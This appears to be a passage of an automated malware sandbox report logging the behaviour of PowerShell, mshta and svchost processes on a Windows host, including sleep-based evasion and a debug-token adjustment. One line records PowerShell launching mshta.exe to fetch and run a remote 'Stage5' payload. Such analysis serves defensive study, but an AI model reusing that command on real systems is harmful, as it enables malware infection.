Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1661 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 680 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6660 Thread sleep count: 1661 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1352 Thread sleep count: 680 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6196 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3924 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: svchost.exe, 00000007.00000002.3289463486.000002131F82F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW \
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E0DF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E171000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3290629653.0000021325053000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: mshta.exe, 00000004.00000002.3289106843.0000012C6E115000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\mshta.exe Memory allocated: page read and write | page guard Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\mshta.exe "C:\Windows\System32\mshta.exe" https://gurt.duna.ua/programy-nauczania/GTSvitikgasuStage5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\mshta.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation Jump to behavior
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs